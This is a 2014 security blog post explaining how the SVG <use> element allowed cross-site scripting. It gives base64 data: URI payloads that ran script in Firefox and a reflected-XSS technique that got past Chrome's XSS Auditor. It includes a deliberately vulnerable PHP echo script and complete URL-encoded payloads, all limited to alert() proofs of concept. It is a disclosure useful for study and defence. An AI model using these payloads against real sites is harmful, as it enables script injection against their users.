Wednesday, February 5, 2014

SVG Fun Time - Firefox SVG Vector + Bypassing Chrome XSS Auditor



I played around with SVG and the <use> element and found some interesting things, which I want to share. I do not know if anyone already posted some information about that. Let me know, if there is already information out there :)

======================
SVG - <use> element
======================

The <use> element is used in SVG to reuse other elements. It is mainly used in combination with <defs> and alike. However we are going to use it to reference elements in an external SVG file.
Elements are referenced by their id prepended with a '#' sign inside the xlink:href attribute of the <use> tag.
This needs to be done for external elements too.

Basically the structure looks like this:

test.html:
<svg>
<use xlink:href='external.svg#rectangle' />
</svg>

external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

The file external.svg starts with a <svg> tag with the id set to rectangle, which draws a rectangle by using the <rect> tag. It is possible to surround the <rect> element with a <a> tag, which creates a  Hyperlink. By using the JavaScript url scheme the click-able Hyperlink will execute JavaScript, when clicked.

Even if the SVG is loaded via a <use> tag, the JavaScript will be executed. It is important to note that it is only possible to load SVG files, which are residing on the same origin.
======================
FIREFOX
======================

Because it is mandatory that the loaded external SVG is same origin, this features seems not like a good XSS attack vector.
But Firefox really helps to improve this attack vector.
First of all, you can use the data: url scheme. It allows us to create a file internally, on the fly. It requires the correct mime-type, which is image/svg+xml. The mime-type is either followed by the payload or by the keyword base64. It specifies, that the data is base64 encoded, which helps avoiding problems breaking the HTML structure.
Now we do not have to rely on another file on the same server:

test.html:
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle" />
</svg>

Decoded base64 payload:
<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>


Again the browser will display a black rectangle, which will alert the location when clicked.

But why bothering the victim to click anything. They never do what they should do ;).
<script> tags in external.svg are not parsed, but SVG supports the <foreignObject> element.
By specifying the required extensions attribute of this object, it is possible to load non SVG elements.
This means it is now possible to use <iframe>,<embed> and all the other supported HTML elements. We can try a bunch of elements to execute JavaScript.
I chose the <embed> tag + JavaScript URL scheme.


Assume the following SVG:
<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />

</foreignObject>
</svg>

It will load via the <foreignObject> the embed tag, which uses a JavaScript URL scheme to execute JavaScript.
Again we base64 encode the payload to load it via the data: scheme.

test.html:
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>

In the case that test.html is opened in Firefox, it will alert the location.
So we have another vector in SVG to execute JavaScript :)

As a side not, the payload also contains a <script>alert(1)</script>, which should proof that <script> tags are not parsed.
 

======================
CHROME 
XSS Auditor Bypass
======================

Let us use this feature against Chrome. Chrome does not support the data: URL scheme inside the xlink:href attribute of the <use> tag.
Additionally I did not find a way to execute JavaScript without user interaction. 
But at least I can give you a Blink/Webkit XSS Auditor bypass with user interaction.
No Parameter Pollution is used and only one parameter is necessary. This is mentioned, because Blink/Webkit XSS Auditor does not catch XSS attacks, which are broken-up into two or more parameters.

Assume the following PHP script:
xss.php
<?php
echo "<body>";
echo $_GET['x'];
echo "</body>";
?>

The script is vulnerable to XSS.
But using a payload like 
http://vulnerabledoman.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> will trigger the XSS Auditor.
So let us use the <use> element!


======================
Creating the
SVG on the fly
======================

We want to load another external SVG file, so we begin with <svg><use xlink:href=
But wait, it has to be same origin and we can't use the data scheme. How do we get a file on the server?
It is simple, we use the XSS vulnerability twice in a row!

First we build the URL, which crafts the the SVG, which contains the Javascript URL scheme:
http://vulnerabledomain.com/xss.php?
x=<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
</a>
</svg>
If you paste this URL (with the correct ip;) into a browser, with no XSS filter, it will display the black rectangle again. But I already mentioned, that
XSS Chrome Auditor will catch this attack. Let us continue.

Now we are going to use the created SVG file (green URL) in the <use> element. The now crafted URL will look like this:
http://vulnerabledomain.com/xss.php?
x=<svg><use height=200 width=200
xlink:href='http://vulnerabledomain.com/xss.php
?x=<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/>
</a></svg>#rectangle'/></svg>

Do not forget to url encode:
http://vulnerabledomain.com/xss.php?
x=%3Csvg%3E%3Cuse%20height=200%20width=200%20
xlink:href=%27http://vulnerabledomain.com/xss.php?
x=%3Csvg%20id%3D%22rectangle%22%20
xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20
xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20
%20%20%20width%3D%22100%22%20height%3D%22100%22%3E
%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E
%3Crect%20class%3D%22blue%22%20x%3D%220%22%20
y%3D%220%22%20width%3D%22100%22
%20height%3D%22100%22%20%2F%3E
%3C%2Fa%3E
%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E

This will display the rectangle again, which will alert when clicked, but this time without triggering the XSS Auditor :)
Hope you enjoyed my bypass.